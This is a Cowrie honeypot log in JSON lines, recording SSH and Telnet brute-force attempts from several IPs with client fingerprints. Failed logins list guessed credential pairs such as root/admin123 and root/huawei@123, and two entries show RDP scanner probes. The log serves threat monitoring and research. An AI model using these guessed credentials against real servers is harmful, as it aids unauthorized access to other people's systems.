{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:08.659828Z","src_ip":"83.168.110.85","session":"61486e3d97c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:09.129956Z","src_ip":"83.168.110.85","session":"61486e3d97c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":47484,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c7f29e1293c","protocol":"ssh","message":"New connection: 185.236.22.41:47484 (10.17.0.5:22) [session: 6c7f29e1293c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:09.822550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:09.863339Z","src_ip":"185.236.22.41","session":"6c7f29e1293c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:10.275128Z","src_ip":"83.168.110.85","session":"61486e3d97c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:10.576420Z","src_ip":"185.236.22.41","session":"6c7f29e1293c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwerty","message":"login attempt [root/12345qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:11.875800Z","src_ip":"185.236.22.41","session":"6c7f29e1293c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":51312,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b914a1a7b5e","protocol":"ssh","message":"New connection: 103.27.238.120:51312 (159.203.135.109:22) [session: 3b914a1a7b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:12.124140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:12.132568Z","src_ip":"103.27.238.120","session":"3b914a1a7b5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:12.392414Z","src_ip":"103.27.238.120","session":"3b914a1a7b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:13.023406Z","src_ip":"185.236.22.41","session":"6c7f29e1293c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lovers","message":"login attempt [root/lovers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:13.171785Z","src_ip":"103.27.238.120","session":"3b914a1a7b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:14.435107Z","src_ip":"103.27.238.120","session":"3b914a1a7b5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53508,"dst_ip":"10.17.0.5","dst_port":22,"session":"09fad22775bf","protocol":"ssh","message":"New connection: 83.168.110.85:53508 (10.17.0.5:22) [session: 09fad22775bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:15.583231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:15.655635Z","src_ip":"83.168.110.85","session":"09fad22775bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:15.705881Z","src_ip":"83.168.110.85","session":"09fad22775bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:16.180002Z","src_ip":"83.168.110.85","session":"09fad22775bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:17.474212Z","src_ip":"83.168.110.85","session":"09fad22775bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.00253415107727,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:20.687232Z","src_ip":"152.42.224.71","session":"cb641f416363","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53514,"dst_ip":"10.17.0.5","dst_port":22,"session":"78c9c6e23312","protocol":"ssh","message":"New connection: 83.168.110.85:53514 (10.17.0.5:22) [session: 78c9c6e23312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:22.492864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:22.497647Z","src_ip":"83.168.110.85","session":"78c9c6e23312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:22.618685Z","src_ip":"83.168.110.85","session":"78c9c6e23312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:22.981329Z","src_ip":"83.168.110.85","session":"78c9c6e23312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:24.199248Z","src_ip":"83.168.110.85","session":"78c9c6e23312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54876,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d0daf5a4f24","protocol":"ssh","message":"New connection: 152.42.212.128:54876 (159.203.135.109:22) [session: 1d0daf5a4f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:25.886098Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:25.892086Z","src_ip":"152.42.212.128","session":"1d0daf5a4f24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:25.896758Z","src_ip":"152.42.212.128","session":"1d0daf5a4f24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50724,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aa2a42ea0d6","protocol":"ssh","message":"New connection: 83.168.110.85:50724 (10.17.0.5:22) [session: 0aa2a42ea0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:29.379640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:29.384773Z","src_ip":"83.168.110.85","session":"0aa2a42ea0d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:29.505855Z","src_ip":"83.168.110.85","session":"0aa2a42ea0d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:29.967857Z","src_ip":"83.168.110.85","session":"0aa2a42ea0d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:31.116670Z","src_ip":"83.168.110.85","session":"0aa2a42ea0d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":53208,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0ef439d9059","protocol":"ssh","message":"New connection: 167.172.81.52:53208 (159.203.135.109:22) [session: a0ef439d9059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:33.356586Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:33.361100Z","src_ip":"167.172.81.52","session":"a0ef439d9059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:33.364578Z","src_ip":"167.172.81.52","session":"a0ef439d9059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35522,"dst_ip":"10.17.0.5","dst_port":22,"session":"29b9f4ea51c1","protocol":"ssh","message":"New connection: 83.168.110.85:35522 (10.17.0.5:22) [session: 29b9f4ea51c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:36.663391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:36.668462Z","src_ip":"83.168.110.85","session":"29b9f4ea51c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:36.793224Z","src_ip":"83.168.110.85","session":"29b9f4ea51c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:37.159225Z","src_ip":"83.168.110.85","session":"29b9f4ea51c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:38.427194Z","src_ip":"83.168.110.85","session":"29b9f4ea51c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.16960287094116,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:41.196351Z","src_ip":"152.42.224.71","session":"a2b8028982c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35528,"dst_ip":"10.17.0.5","dst_port":22,"session":"78b0dd76fe8c","protocol":"ssh","message":"New connection: 83.168.110.85:35528 (10.17.0.5:22) [session: 78b0dd76fe8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:43.380742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:43.385848Z","src_ip":"83.168.110.85","session":"78b0dd76fe8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:24:43.508252Z","src_ip":"83.168.110.85","session":"78b0dd76fe8c","protocol":"ssh"}
